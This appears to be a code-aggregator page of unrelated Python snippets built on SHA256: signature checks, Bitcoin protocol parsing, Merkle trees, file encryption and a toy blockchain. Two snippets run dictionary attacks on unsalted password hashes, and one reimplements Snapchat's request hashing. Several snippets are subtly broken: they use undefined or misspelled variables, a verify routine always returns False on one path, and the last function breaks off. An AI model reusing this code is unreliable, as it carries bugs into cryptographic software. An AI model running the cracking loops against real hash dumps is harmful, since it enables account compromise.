Esempio n. 1
0
    def verify(self, s, signature):
        """
        Check the signature of the string s

        :param s: String to check
        :type s: str
        :param signature: the signature to compare
        :type signature: str
        """
        if isinstance(s, text_type):
            s = s.encode('utf8')
        r = False
        try:
            RSAkey = RSA.importKey(self.public)
            signature = long(signature)
            if SIGN_WITH_RSA:
                hashvalue = HashFunc.new(s).digest()
                r = RSAkey.verify(hashvalue, (signature,))
            else:
                hashvalue = HashFunc.new(s)
                pkcs1_15.new(RSAkey).verify(hashvalue, signature)
        except Exception as _e:  # pragma: no cover
            log.error("Failed to verify signature: {0!r}".format(s))
            log.debug("{0!s}".format(traceback.format_exc()))
        return r
Esempio n. 2
0
    def got_data(self):
        while True:
            if len(self.recvbuf) < 4:
                return
            if self.recvbuf[:4] != "\xf9\xbe\xb4\xd9":
                raise ValueError("got garbage %s" % repr(self.recvbuf))

            if len(self.recvbuf) < 4 + 12 + 4 + 4:
                return
            command = self.recvbuf[4:4+12].split("\x00", 1)[0]
            msglen = struct.unpack("<i", self.recvbuf[4+12:4+12+4])[0]
            checksum = self.recvbuf[4+12+4:4+12+4+4]
            if len(self.recvbuf) < 4 + 12 + 4 + 4 + msglen:
                return
            msg = self.recvbuf[4+12+4+4:4+12+4+4+msglen]
            th = SHA256.new(msg).digest()
            h = SHA256.new(th).digest()
            if checksum != h[:4]:
                raise ValueError("got bad checksum %s" % repr(self.recvbuf))
            self.recvbuf = self.recvbuf[4+12+4+4+msglen:]

            if command in self.messagemap:
                f = cStringIO.StringIO(msg)
                t = self.messagemap[command]()
                t.deserialize(f)
                self.got_message(t)
            else:
                print "UNKNOWN COMMAND", command, repr(msg)
Esempio n. 3
0
def rename_directory(username, old_filename, new_filename):
    filelog = oldfilename + '.flog'
    with open(filelog, 'rb') as input:
        log = pickle.load(input)
        sig = pickle.load(input)
        
    block = log[username]

    key = RSA.importKey(open(username + '.pri').read())
    cipher = PKCS1_OAEP.new(key, SHA256.new())
    block.decrypt_permission_block(cipher)
    encrypted_new_filename = encrypt_filename(block.get_file_encryption_key(), new_filename)

    log['encrypted_name'] = encrypted_new_filename

    new_filelog = encrypted_new_filename + '.dlog'
    with open(new_filelog, 'wb') as outfile:
        pickle.dump(log)
    length = len(log)
    with open(new_filelog, 'rb') as infile:
        pickleload = infile.read(length)
    file_log_hash = SHA256.new()
    file_log_hash.update(picklelog)
    with open(username + '.dsa', 'rb') as infile:
        owner_msk = pickle.load(infile)
    k = random.StrongRandom().randint(1,owner_msk.q-1)
    sig = owner_msk.sign(file_log_hash.digest(), k)
    with open(new_filelog, 'a+b') as outfile:
        pickle.dump(sig, outfile, -1)

    return encrypted_new_filename
Esempio n. 4
0
	def is_valid(self, difficulty = None):
		# Calculate the Header Hash
		self.calc(difficulty)

		# Get Target
		target = get_target(self.nBits)

		# Check
		check_result, message = check_header_target(self.header, target)
		if not check_result:
			return False

		hashes = []
		for tx in self.vtx:
			tx.sha256 = None
			if not tx.is_valid():
				return False
			tx.calc_sha256()
			hashes.append(ser_uint256(tx.sha256))

		while len(hashes) > 1:
			newhashes = []
			for i in xrange(0, len(hashes), 2):
				i2 = min(i+1, len(hashes)-1)
				newhashes.append(SHA256.new(SHA256.new(hashes[i] + hashes[i2]).digest()).digest())
			hashes = newhashes

		if uint256_from_str(hashes[0]) != self.hashMerkleRoot:
			return False
		return True
Esempio n. 5
0
def chained_sha256(path='data/birthday.mp4', block_size=1024, renew=True, prepend=False):
    blocks = []
    fp = open(path, 'rb')
    print 'Reading %s bytes from file %s' % (len(fp.read()), fp.name)  
    fp.close()
    with open(path, 'rb') as fp:
        block = True
        while block:
            block = fp.read(block_size)
            if block:
                blocks += [block]
    print 'Read %s blocks of %s bytes each, and one last block of %s bytes for a total of %s bytes.' % (
        len(blocks), block_size, len(blocks[-1]), sum(len(block) for block in blocks))
    tag = b''
    if not renew:
        sha = SHA256.new()
    for block in reversed(blocks):
        if renew:
            sha = SHA256.new()
        if prepend:
            sha.update(tag + block)
        else:
            sha.update(block + tag)
        tag = sha.digest()
    return tag.encode('hex')
Esempio n. 6
0
def share_directory(other_username, dlog):
    with open(dlog, 'rb') as input:
        log = pickle.load(input)

    userList = log['users']
    userList.append(other_username)
    owner_block = log[owner]
    owner = log['owner']
    key = RSA.importKey(open(owner + '.pri').read())
    cipher = PKCS1_OAEP.new(key, SHA256.new())
    owner_block.decrypt_permission_block(cipher)
    file_aes_key = owner_block.get_file_encryption_key()
    file_dsa_key = None
    user_block = AccessBlock(file_aes_key, file_dsa_key)
    other_key = RSA.importKey(open(other_username + '.pub').read())
    other_cipher = PKCS1_OAEP.new(other_key, SHA256.new())
    user_block.encrypt_permission_block(other_cipher)
    log[other_username] = user_block
    file_log_hash = SHA256.new()
    with open(filelog, 'wb') as infile:
        pickle.dump(log, infile, -1)
    length = len(log)
    with open(filelog, 'rb') as outfile:
        picklelog = outfile.read(length)
    file_log_hash.update(picklelog)
    with open(owner + '.dsa', 'rb') as infile:
        owner_msk = pickle.load(infile)
    k = random.StrongRandom().randint(1,owner_msk.q-1)
    sig = owner_msk.sign(file_log_hash.digest(), k)
    with open(filelog, 'a+b') as outfile:
        pickle.dump(sig, outfile, -1)    
Esempio n. 7
0
def read_encrypted_logs(username, filelogs):
    names = []
    my_key = RSA.importKey(open(username + '.pri').read())
    cipher = PKCS1_OAEP.new(my_key, SHA256.new())

    for log in filelogs:
        file_log_hash = SHA256.new()
        with open(log, 'rb') as input:
            dictlog = pickle.load(input)
            sig = pickle.load(input)
        owner = dictlog['owner']
        with open(owner + '.dsapub', 'rb') as input:
            owner_msk = pickle.load(input)
        length = len(dictlog)
        with open(log, 'rb') as outfile:
            picklelog = outfile.read(length)
        file_log_hash.update(picklelog)

        if not owner_msk.verify(file_log_hash.digest(), sig):
            print('invalid file')

        if username in dictlog:
            block = dictlog[username]
            block.decrypt_permission_block(cipher)
            name = decrypt_filename(block.get_file_encryption_key(), log[0:-5])
            names.append(name)
              
    return names
def unsalted_crack_combinitions(start, end):

    for i in range(start, end):
        curr_pass = passwords[i].strip("\n")
        print curr_pass
        for other in passwords:
            other = other.strip("\n")
            appended = curr_pass + other
            prepended = other + curr_pass
            
            a_sha256 = SHA256.new(appended)
            p_sha256 = SHA256.new(prepended)

            a_digest = a_sha256.hexdigest()
            p_digest = p_sha256.hexdigest()
            
            #print appended, a_digest
            #print prepended, p_digest
           
            if a_digest in hash_nosalt:
                r = open('result/'+ a_digest, 'w')
                result = a_digest + "\t" + appended
                r.write(result)
                r.close()
                print "Found!---> ", result

            if p_digest in hash_nosalt:
                r = open('result/'+ p_digest, 'w')
                result = p_digest + "\t" + prepended
                r.write(result)
                r.close()
                print "Found!---> ", result
def unsalted_crack_digits_ap(start,end):
    for i in range(start, end):
        curr_pass = passwords[i].strip("\n")
        for digit in range(0,10):
            a = curr_pass + str(digit)
            p = str(digit) + curr_pass
            
            a_sha256 = SHA256.new(a)        
            p_sha256 = SHA256.new(p) 
            
            a_digest = a_sha256.hexdigest()
            p_digest = p_sha256.hexdigest()

         
            if a_digest in hash_nosalt:
                r = open('result_crack_digits_ap/'+ a_digest, 'w')
                result = a_digest + "\t" + a + "\n"
                r.write(result)
                r.close()
                print "Found!---> ", result

            if p_digest in hash_nosalt:
                r = open('result_crack_digits_ap/'+ p_digest, 'w')
                result = p_digest + "\t" + p + "\n"
                r.write(result)
                r.close()
                print "Found!---> ", result
Esempio n. 10
0
  def solve_proof_of_work(self):
    """ solves the proof of work problem
    Starting with the random nonce, this thread will increment this
    value and hash the block with the nonce and test to see if the
    hash ends with the 'target' amount of zeros. If not, the nonce
    is incremented and a new hash is produced

    """
    log.info('Mining started...')
    self.client.broadcast_info('Mining started')
    self.isMining = True
    hash = SHA256.new()
    
    #self.b.computeMerkleRoot()
    for t in self.transactions:
      self.b.add_transaction(t)

    # create an array of target-length bytes
    target = bytes(self.b.target)
    hash.update(self.b.pack())
    digest = hash.digest()

    while not self.test_hash(digest, self.b.target):
      hash = SHA256.new()
      # update the nonce
      self.b.nonce += 1

      hash.update(self.b.pack())
      digest = hash.digest()
      if self.start_over:
        self.start_over = False
        return False
    return True
Esempio n. 11
0
 def is_valid(self):
     #self.calc_sha256()
     self.calc_scrypt()
     target = uint256_from_compact(self.nBits)
     #if self.sha256 > target:
     if self.scrypt > target:
         return False
     hashes = []
     for tx in self.vtx:
         tx.sha256 = None
         if not tx.is_valid():
             return False
         tx.calc_sha256()
         hashes.append(ser_uint256(tx.sha256))
     
     while len(hashes) > 1:
         newhashes = []
         for i in xrange(0, len(hashes), 2):
             i2 = min(i+1, len(hashes)-1)
             newhashes.append(SHA256.new(SHA256.new(hashes[i] + hashes[i2]).digest()).digest())
         hashes = newhashes
     
     if uint256_from_str(hashes[0]) != self.hashMerkleRoot:
         return False
     return True
    def send_message(self, message):
        if self.state == "closed":
            return
        if self.verbose:
            print "send %s" % repr(message)
        if hasattr(message, 'serialize'): # msg_ object
            command = message.command
            data = message.serialize()
        else:
            # JSON string or dictionary with JSON-encoded values in it:
            if not isinstance(message, dict): # JSON { "message" : [ fields ] }
                message = json.loads(message)
            command = message.keys()[0]
            obj = self.messagemap[command]()
            obj.from_array(message[command], self.replace_magic_constants)
            data = obj.serialize()

        tmsg = self.message_header
        tmsg += bytes(command)
        tmsg += b"\x00" * (12 - len(command))
        tmsg += struct.pack("<I", len(data))
        if self.ver_recv >= 209:
            th = SHA256.new(data).digest()
            h = SHA256.new(th).digest()
            tmsg += h[:4]
        tmsg += data
        self.sendbuf += tmsg
	def decrypt_email(self, enc_email):
		salt = enc_email['From'][:32]
		enc_email.replace_header('From', enc_email['From'][33:])
		plain_email = MIMEMultipart()

		for header in self.TOKENIZE_HEADER_PART:
			IV = SHA256.new(salt+ header).digest()[:16]
			if header == 'Subject':
				plain_email[header] = self.decrypt(IV, enc_email[header][
					66:enc_email[header].find('.', 99)+1])
			else:
				if enc_email[header] != None:
					plain_email[header] = self.decrypt(IV, enc_email[header])

		for part in enc_email.walk():
			if (part.get_content_maintype() == 'multipart') and (
				part.get_content_subtype() != 'plain'):
				continue
			body = part.get_payload()
			if body == None or body == '':
				return plain_email
			IV = SHA256.new(salt + 'Body').digest()[:16]
			plain_body = self.decrypt(IV, body[98:body.find('.', 131)+1])
			plain_email.attach(MIMEText(plain_body))
		return plain_email
Esempio n. 14
0
def hash_160_to_bc_address(h160):
  if not have_crypto:
    return ''
  vh160 = "\x00"+h160  # \x00 is version 0
  h3=SHA256.new(SHA256.new(vh160).digest()).digest()
  addr=vh160+h3[0:4]
  return b58encode(addr)
Esempio n. 15
0
    def post(self):
        otp = Otp()
        otp.learning_association = ndb.Key(urlsafe=self.request.POST.get('sf'))
        otp_token = SHA256.new(str(otp.learning_association.id()) + ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(30))).hexdigest()
        otp.token = SHA256.new(otp_token).hexdigest()
        learning_association = otp.learning_association.get()
        if learning_association:
            otp.put()
            mail.send_mail(sender="Voksenopplæringsforbundet <*****@*****.**>",
            to="%s <%s>" % (learning_association.name, learning_association.email),
            subject="Engangspassord til reisestipendsøknader",
            body="""
Hei

For å logge inn til reisestipendsøknadene, bruk denne lenken:

%sotp/%s

Lenken er gyldig i en time.

Hilsen Voksenopplæringsforbundet
""" % (myapp.APPLICATION_URL, otp_token))

            template_values = {
                'application_year': myapp.APPLICATION_YEAR,
                'learning_association': learning_association
            }

            template = JINJA_ENVIRONMENT.get_template('login_sent.html')
            self.response.write(template.render(template_values))

        else:
            self.abort(400)
Esempio n. 16
0
def computeTag(fileName):
	#hash = SHA256.new()
	blocks = []
	file = open(fileName, "rb")
	with file:
		while True:
        		chunk = file.read(1024)
        		if chunk:
            			blocks.append(chunk)
        		else:
            			break
	print len(blocks)
	numBlocks = len(blocks)
	i = numBlocks-1
	while i>0:
		hash = SHA256.new()
		hash.update(blocks[i])
		blocks[i-1] = blocks[i-1] + hash.digest()
		i = i-1
	#print blocks[numBlocks-1].encode('hex')
	#print blocks[0].encode('hex')
	hash = SHA256.new()
	hash.update(blocks[0])
	tag = hash.hexdigest()
	print tag	
def main():
    parser = OptionParser()
    parser.add_option("--testnet", help="generate testnet addresses", dest="testnet", action="store_true", default=False)
    parser.add_option("--wif", help="specify a WIF address on the command line instead of generating it", dest="wif", action="store_true", default=False)
    (options, args) = parser.parse_args()
    if options.testnet:
        pywallet.addrtype = 111
    if options.wif:
        sec_mini = None
        sec_raw = pywallet.DecodeBase58Check(args[0])[1:]
    elif args:
        sec_mini = args[0]
        if not valid_mini(sec_mini):
            print >>sys.stderr, "not a valid mini key"
            sys.exit(1)
        sec_raw = SHA256.new(sec_mini).digest()
    else:
        sec_mini = generate_mini_private_key()
        sec_raw = SHA256.new(sec_mini).digest()
    sec_hex = sec_raw.encode('hex').upper()
    sec_wallet = pywallet.EncodeBase58Check("\x80" + sec_raw)   # wallet import format
    pkey = pywallet.regenerate_key(pywallet.SecretToASecret(sec_raw))
    assert sec_raw == pywallet.GetSecret(pkey)
    priv_key = pywallet.GetPrivKey(pkey)
    pub_key = pywallet.GetPubKey(pkey)
    pub_addr = pywallet.public_key_to_bc_address(pub_key)
    print "Address:        %s" % (pub_addr,)
    print "Privkey:        %s" % (sec_wallet,)
    print "Privkey (hex):  %s" % (sec_hex,)
    print "Privkey (mini): %s" % (sec_mini,)
Esempio n. 18
0
    def hash(self, first, second):
        """
        Snapchats hashing function
        :param first:
        :param second:
        :return:
        """
        first = self.SECRET + first
        second = second + self.SECRET

        hash = SHA256.new()
        hash.update(first)
        hash1 = hash.hexdigest()

        hash = SHA256.new()
        hash.update(second)
        hash2 = hash.hexdigest()

        result = ''
        for i in range(len(self.HASH_PATTERN)):
            if int(self.HASH_PATTERN[i]):
                result += hash2[i]
            else:
                result += hash1[i]
        return result
Esempio n. 19
0
        def _recomputeDigest(self):
            """
            Digest the fields and set self._digest to the hex digest.
            """
            sha256 = SHA256.new()
            number = bytearray(4)
            # Debug: sync-state.proto defines seq and session as uint64, but
            #   the original ChronoChat-js only digests 32 bits.
            self._int32ToLittleEndian(self._sessionNo, number)
            sha256.update(number)
            self._int32ToLittleEndian(self._sequenceNo, number)
            sha256.update(number)
            sequenceDigest = sha256.digest()

            sha256 = SHA256.new()
            # Use Blob to convert a string to UTF-8 if needed.
            sha256.update(Blob(self._dataPrefix).toBuffer());
            nameDigest = sha256.digest()

            sha256 = SHA256.new()
            sha256.update(nameDigest)
            sha256.update(sequenceDigest)
            nodeDigest = sha256.digest()
            # Use Blob to convert a str (Python 2) or bytes (Python 3) to hex.
            self._digest = Blob(nodeDigest).toHex()
Esempio n. 20
0
	def makeKey(self, password, salt):
		salt_hash = SHA256.new()
		salt_hash.update(salt)
		pass_hash = SHA256.new()
		pass_hash.update(salt_hash.hexdigest().encode('utf8'))
		pass_hash.update(password.encode('utf8'))
		return pass_hash.digest()
Esempio n. 21
0
def main():
	file_name = 'v1.mp4'
	block_size = 1024
	statinfo = os.stat(file_name)
	file_size = statinfo.st_size
	print 'File name: ' + file_name
	print 'File size: ' + repr(file_size)
	last_block_size =  file_size % block_size
	with open(file_name, 'rb') as f:
		block = bytearray()
		hash_block = bytearray()
		if last_block_size != 0:
			pos = (-1)*last_block_size
			f.seek(pos, 2) # offset relative to the end
			block = f.read(last_block_size) # read to the end
			h = SHA256.new(data=block)
			hash_block = h.digest()
			last_block_size = 0
			print 'last block hash: ' + h.hexdigest() + ' pos: ' + repr(f.tell())
			
		for i in range(file_size/block_size,0,-1):
			pos = pos - block_size
			f.seek(pos, 2)
			block = f.read(block_size)
			block = block + hash_block
			h = SHA256.new(data=block)
			hash_block = h.digest()
			print 'block ' + repr(i) + ' hash: ' + h.hexdigest() + ' pos: ' + repr(f.tell())

	print 'Hash: ' + repr(h.hexdigest())
Esempio n. 22
0
    def decrypt_model(self, in_model, uniqid):
        if not isinstance(in_model, Secret):
            raise RuntimeException('in_model is not an instance of Secret')
       
        #generate the input for our key derivation formula
        hasher = SHA256.new()
        hasher.update('{}{}'.format(uniqid, in_model.Nonce))
        keyhash = hasher.digest()

        #derive our AES key (aes256 wants 32bytes)
        aeskey = PBKDF2(
            password=keyhash,
            salt=in_model.Salt,
            dkLen=32,
            count=10000,
            )

        #derive our Iv from the UniqID (16 bytes)
        hasher = SHA256.new()
        hasher.update('{}{}'.format(uniqid, aeskey))
        aesiv = hasher.digest()[:16]

        #unpad from http://stackoverflow.com/a/12525165/274549
        ## s[:-ord(s[len(s)-1:])]
        BS = 16
        unpad = lambda s : s[0:-ord(s[-1])]

        #encrypt it w/ padding
        cipher = AES.new(aeskey, AES.MODE_CBC, aesiv)
        return unpad(cipher.decrypt(in_model.CipherText))
Esempio n. 23
0
def decrypt(in_file, out_file, password, key_length=32, read_blocks=1024):
    """
    Decrypt data stream using password as the seed to decryption key.
    Calculate checksums for both the ciphertext data and the plaintext data
    during the decryption.
    """
    ciphertext_checksum = SHA256.new()
    plaintext_checksum = SHA256.new()
    block_size = AES.block_size
    salt = in_file.read(block_size)
    ciphertext_checksum.update(salt)
    key, iv = derive_key_and_iv(str(password), salt, key_length, block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    next_chunk = ""
    finished = False
    while not finished:
        encrypted_chunk = in_file.read(read_blocks * block_size)
        ciphertext_checksum.update(encrypted_chunk)
        chunk, next_chunk = next_chunk, cipher.decrypt(encrypted_chunk)
        if len(next_chunk) == 0:
            padding_length = ord(chunk[-1])
            chunk = chunk[:-padding_length]
            finished = True
        out_file.write(chunk)
        plaintext_checksum.update(chunk)

    return ciphertext_checksum.hexdigest(), plaintext_checksum.hexdigest()
Esempio n. 24
0
def hash_160_to_bc_address(h160, version="\x00"):
    if not have_crypto:
        return ""
    vh160 = version + h160
    h3 = SHA256.new(SHA256.new(vh160).digest()).digest()
    addr = vh160 + h3[0:4]
    return b58encode(addr)
Esempio n. 25
0
def encrypt(in_file, out_file, password, key_length=32, read_blocks=1024):
    """
    Encrypt data stream using password as the seed to encryption key.
    Calculate checksums for both the plaintext data and the ciphertext data
    during the encryption.
    """
    plaintext_checksum = SHA256.new()
    ciphertext_checksum = SHA256.new()
    block_size = AES.block_size
    salt = Random.new().read(block_size)
    key, iv = derive_key_and_iv(str(password), salt, key_length, block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    out_file.write(salt)
    ciphertext_checksum.update(salt)
    finished = False
    while not finished:
        chunk = in_file.read(read_blocks * block_size)
        plaintext_checksum.update(chunk)
        if len(chunk) == 0 or len(chunk) % block_size != 0:
            padding_length = ((block_size - len(chunk) % block_size) or
                              block_size)
            chunk += padding_length * chr(padding_length)
            finished = True
        encrypted_chunk = cipher.encrypt(chunk)
        out_file.write(encrypted_chunk)
        ciphertext_checksum.update(encrypted_chunk)

    return plaintext_checksum.hexdigest(), ciphertext_checksum.hexdigest()
Esempio n. 26
0
def shasha(*args):
    h= SHA256.new()
    for x in args:
        h.update(x)
    h2= SHA256.new()
    h2.update(h.digest())
    return h2.digest()
Esempio n. 27
0
	def post(self):
		if self.get_secure_cookie('email'):
			email=self.get_secure_cookie('email')
			users_coll=self.application.db.users
			user = yield users_coll.find_one({'email':email})
			if user:
				hide = self.get_argument('hide')
				oldpass = self.get_argument('oldpas')
				newpass = self.get_argument ('newpas')
				if not oldpass=="1":
					if hide ==  email and user["password"] == SHA256.new(oldpass).hexdigest() and not newpass=="1":
						user["email"] = self.get_argument('email')
						user["name"] = self.get_argument('name')
						user["password"] = SHA256.new(newpass).hexdigest()
						yield users_coll.save(user)
						self.redirect("/profile")
					else:
						self.redirect("/")
				else:
					user["email"] = self.get_argument('email')
					user["name"] = self.get_argument('name')
					yield users_coll.save(user)
					self.redirect("/profile")	
			else:
				self.redirect("/")
Esempio n. 28
0
 def decrypt(self, buff):
     md = SHA256.new(buff[:-0x100])
     verifier = PKCS1_v1_5.new(self._static_pubkey)
     if verifier.verify(md, buff[-0x100:]) == False:
         raise ValueError('Invalid signature in footer.')
     if self._pubkey is not None:
         md = SHA256.new(buff[:-0x200])
         verifier = PKCS1_v1_5.new(self._pubkey)
         if verifier.verify(md, buff[-0x200:-0x100]) == False:
             raise ValueError('Invalid signature in footer.')
     buff = buff[:-0x200]
     nonce = array.array('I', buff[-4:])
     nonce.byteswap()
     length = len(buff) - 4
     buff = array.array('I', buff[:-4] + b'\x00' * (8 - length % 8))
     buff.byteswap()
     counter = Counter.new(32, prefix=nonce.tostring(), initial_value=0, little_endian=True)
     cipher = Blowfish.new(self._key, Blowfish.MODE_CTR, counter=counter)
     buff = array.array('I', cipher.decrypt(buff.tostring()))
     buff.byteswap()
     buff = buff.tostring()[:length]
     md = buff[-20:]
     buff = buff[:-20]
     if md != hashlib.sha1(buff).digest():
         raise ValueError('Invalid SHA1 hash in footer.')
     return buff
def verify_file(f, signature):
    # Verify the file was sent by the bot master
    # TODO: For Part 2, you'll use public key crypto here
    # Naive verification by ensuring the first line has the "passkey"
    
    # Split message up by line breaks into an array
    split_f = f.split(b"\n")
    
    # Check for a private key
    if len(split_f) < 27:
        return False
    
    # Decrypt the message using the private key
    message, dsize = decrypt_message(split_f)
    
    # Verify encryption
    digest = SHA256.new(message[:-dsize]).digest()
    if digest == message[-dsize:]:
        # Remove digest from message
        message = message[:-dsize]
        
        # Hash message for verification
        hashed_m = SHA256.new(message)
        
        # Verify signature using the public key
        pukey = RSA.importKey(open(os.path.join("pastebot.net", "publickey"), "rb").read())
        verifier = PKCS1_v1_5.new(pukey)
        return verifier.verify(hashed_m, signature)
Esempio n. 30
0
    def buildTransactionInput(inputParameters, rawTransaction, hashtype):

        # Sequence is set to UNIT_MAX = "FFFFFFFF" because this will permanently lock this transaction
        #     - Sequence is intended to work with Replacements, but Replacement is currently disabled
        inputSequence = "ffffffff"
        (previousTransactionHash,
         previousTransactionOutputIndex,
         previousTransactionOutputPublicAddress,
         privateKey
         ) = inputParameters

        reversePreviousTransactionHash = previousTransactionHash.decode("hex")[::-1].encode("hex")
        previousTransactionOutputIndexHex = struct.pack('<L', previousTransactionOutputIndex).encode('hex')

        singleSHA256_RawTransaction = SHA256.new(rawTransaction.decode("hex")).hexdigest()
        doubleSHA256_RawTransaction = SHA256.new(singleSHA256_RawTransaction.decode("hex")).digest()

        scriptSig = buildScriptSig(privateKey, doubleSHA256_RawTransaction, hashtype)
        scriptSigLength = "%02x" % len(scriptSig.decode("hex"))

        transactionInput = (reversePreviousTransactionHash +
                            previousTransactionOutputIndexHex +
                            scriptSigLength +
                            scriptSig +
                            inputSequence)

        # print transactionInput
        return transactionInput
def double_sha256(s):
    return SHA256.new(SHA256.new(s).digest()).digest()
Esempio n. 32
0
 def sign_message(self, text, key):
     privKey = DSA.import_key(bytes(key, 'utf-8'))
     hash_obj = SHA256.new(bytes(text, 'utf-8'))
     signer = DSS.new(privKey, 'fips-186-3')
     signature = signer.sign(hash_obj)
     return base64.b64encode(signature)
Esempio n. 33
0
def hash_password(b):
    hash = SHA256.new(pad(bytes(b, encoding='utf-8')))
    return hash.digest()
Esempio n. 34
0
def get_key(password):
    key = SHA256.new(password.encode()).digest()
    return key
# Se pide descifrar el texto cifrado utilizando el modo de operacion ECB, y mostrar el texto en
# claro por pantalla utilizando print() si el hash de ese texto en claro y la variable "hash" coinciden.
# La primitiva de criptografia simetrica utilizada en este ejercicio debera ser deducida por el
# alumno en base a la informacion proporcionada.

# Ejercicio
# ----------
BLOCK_SIZE = 16
key = b'0123456789ABCDEF'  # Que mecanismo criptografico usa 128 bits como clave secreta...
ciphertext = b"'\xa8\x08\x89(\xe2\x81\x9c9\x98\xeb\xb0n\x16<\x04\x93:\xdaBX\xb8dP\x99\x9a?s\x85u&\xa6\xaf\xecx\xfeoo\xc2\xa4\xc4\xc2I\t&\xb0t\xafn&\x04\x9e\xfb'\xbd\x9e\xaaw\x0f\xe3Jq\xc5\xae@\x82p\x82:86\xf5k\xc3\xae\xda\x01UD!"
hash = b'*\x9f\xa7\xffv\xc3\xf1\xcc\xe2\xc3R\xd1M\nT\x9bS\x94\x87j\xab\xbeI\xd43\xdb\xde\x01\x9c}\xd0\xd9'

# A resolver por el alumno
decipher_aes = AES.new(key, AES.MODE_ECB)
desc = (unpad(decipher_aes.decrypt(ciphertext), BLOCK_SIZE))
h = SHA256.new()
h.update(desc)
if h.digest() == hash:
    print(desc.decode("utf-8", "ignore"))
else:
    print("Mensaje no bueno")

####################################################
####################################################
print("#========================")
print("# PREGUNTA 2 (2,5 puntos)")
print("#========================")
# Enunciado
# ----------
# Se proporcionan las variables "private" (clave privada RSA), "public" (clave publica RSA,
# correspondiente a la clave privada contenida en la variable "private"), "cipherRSA" (cifrado
Esempio n. 36
0
def getkey(key):
    key = SHA256.new(key.encode('utf-8'))
    return key.digest()
def pubkey_to_hash(pubkey):
    return RIPEMD160.new(SHA256.new(pubkey).digest()).digest()
Esempio n. 38
0
	def calculate_signature(sender_private_key,data):
		digest = SHA256.new(data).hexdigest()#digest or hash same thing
		signature = sender_private_key.sign(digest,'')
		return signature
Esempio n. 39
0
    def query(self):
        logger.info('query')
        # 1. Create nounce.
        nounce = str(random.randint(0, 1000000000))

        # 2. Encode nounce and source
        source_id = self._hparams.identity
        nounce_bytes = bytes(nounce, 'utf-8')
        source_bytes = bytes(source_id, 'utf-8')
        spikes = numpy.array(['this is a test'])
        payload_bytes = pickle.dumps(spikes, protocol=0)

        # 3. Create unique message hash.
        hash = SHA256.new()
        hash.update(nounce_bytes)
        hash.update(source_bytes)
        hash.update(payload_bytes)
        message_id = hash.digest()

        # 4. Create futures.
        spike_futures = []
        for i,channel in enumerate(self._channels):
            try:
                stub = bittensor.proto.bittensor_pb2_grpc.BittensorStub(channel)
                request = bittensor.proto.bittensor_pb2.SpikeRequest(
                    version=1.0,
                    source_id=self._hparams.identity,
                    parent_id=self._hparams.identity,
                    message_id=message_id,
                    payload=payload_bytes)
                spike_futures.append(stub.Spike.future(request))
            except Exception as e:
                logger.error(str(e))

        # 5. Catch future responses
        start = time.time()
        exception = [False for _ in spike_futures]
        result = [False for _ in spike_futures]
        returned = [False for _ in spike_futures]
        timed = [0 for _ in spike_futures]
        while True:
            for i, future in enumerate(spike_futures):
                if future.done():
                    returned[i] = True
                    timed[i] = time.time() - start
                    try:
                        if future.exception():
                            exception[i] = True
                            failing_channels[i] = True

                    except Exception as e:
                        pass
                    try:
                        future.result()
                        result[i] = True
                    except Exception as e:
                        pass

            if time.time() - start > 3:
                break
            if sum(returned) == len(spike_futures):
                break

        for i in range(len(returned)):
            if returned[i]:
                r1 = self._channel_reliability[i]
                self._channel_reliability[i] = (r1 * 0.95) + (0.05 * 1)
            else:
                r1 = self._channel_reliability[i]
                self._channel_reliability[i] = (r1 * 0.95) + (0.05 * 0)

        # 6. Create grad futures.
        grad_futures = []
        for channel in self._channels:
            try:
                zeros_payload = pickle.dumps(numpy.zeros((1, self._hparams.n_embedding)), protocol=0)
                stub = bittensor.proto.bittensor_pb2_grpc.BittensorStub(channel)
                request = bittensor.proto.bittensor_pb2.GradeRequest(
                    version=1.0,
                    source_id=self._hparams.identity,
                    parent_id=self._hparams.identity,
                    message_id=message_id,
                    payload=zeros_payload)
                grad_futures.append(stub.Grade.future(request))
            except Exception as e:
                logger.error(str(e))

        # 7. Catch grad future responses
        start = time.time()
        exception = [False for _ in grad_futures]
        result = [False for _ in grad_futures]
        returned = [False for _ in grad_futures]
        timed = [0 for _ in grad_futures]
        while True:
            for i, future in enumerate(grad_futures):
                if future.done():
                    returned[i] = True
                    timed[i] = time.time() - start
                    try:
                        if future.exception():
                            exception[i] = True
                    except Exception as e:
                        pass
                    try:
                        future.result()
                        result[i] = True
                    except Exception as e:
                        pass

            if time.time() - start > 3:
                break
            if sum(returned) == len(grad_futures):
                break

        logger.info('C: {}', list(zip(result, timed, self._channel_reliability)))
Esempio n. 40
0
	def match_signature(sender_public_key,data,signature):
		digest = SHA256.new(data).hexdigest()
		return sender_public_key.verify(digest,signature)
Esempio n. 41
0
 def _Base64Sign(self, plaintext):
     """Signs and returns a base64-encoded SHA256 digest."""
     shahash = SHA256.new(plaintext)
     signer = PKCS1_v1_5.new(self.key)
     signature_bytes = signer.sign(shahash)
     return base64.b64encode(signature_bytes)
Esempio n. 42
0
	def transact():
		sender = raw_input('Enter Sender: ').lower()

		if sender not in users:
			print "User:"******"don't exist!"
			ch = raw_input('Add user(Y/N)?')
			if ch.lower() == 'y':
				add_user()
			return

		receiver = raw_input('Enter Receiver:').lower()

		if receiver not in users:
			print "User:"******"don't exist!"
			ch = raw_input('Add user(Y/N)?')
			if ch.lower() == 'y':
				add_user()
			return

		amt = int(raw_input('Enter amount: '))

		#### precheck balance then only go forward ####
		if users[sender][1] == 0:
			print sender,"have 0 balance !"
			return

		######## work on cryptography

		############################

		t = chain.head
		while t != None:
			#comparing pulbic keys of the two nodes
			if t.receiver == users[sender][0][1] and t.spentflag == 0 and amt <= t.amount:
				current_amt = t.amount
				t.spentflag = 1
				parent_block_id = t.id
				###### local reference ######
				users[sender][1] = users[sender][1]-amt
				users[receiver][1] = users[receiver][1]+amt
				#############################
				break
			else:
				t = t.next

			if t == None:
				print sender,' is trying to spend more than what they have !'
				return
		#############################



		#### we can add block before verifying the transaction by meeting certain conditions or during the time of adding block...

		transaction1 = SHA256.new(sender+' paid '+str(amt)+' coins to '+receiver).hexdigest()
		transaction2 = SHA256.new(sender+' paid '+str(current_amt-amt)+' coins to '+sender).hexdigest()

		id1 = chain.blockid()
		id2 = chain.blockid()
		data_for_signature1 = str(id1)+str(users[sender][0][1])+transaction1+str(amt)
		data_for_signature2 = str(id2)+str(users[sender][0][1])+transaction2+str(current_amt-amt)

		sign1 = calculate_signature(users[sender][0][0],data_for_signature1)
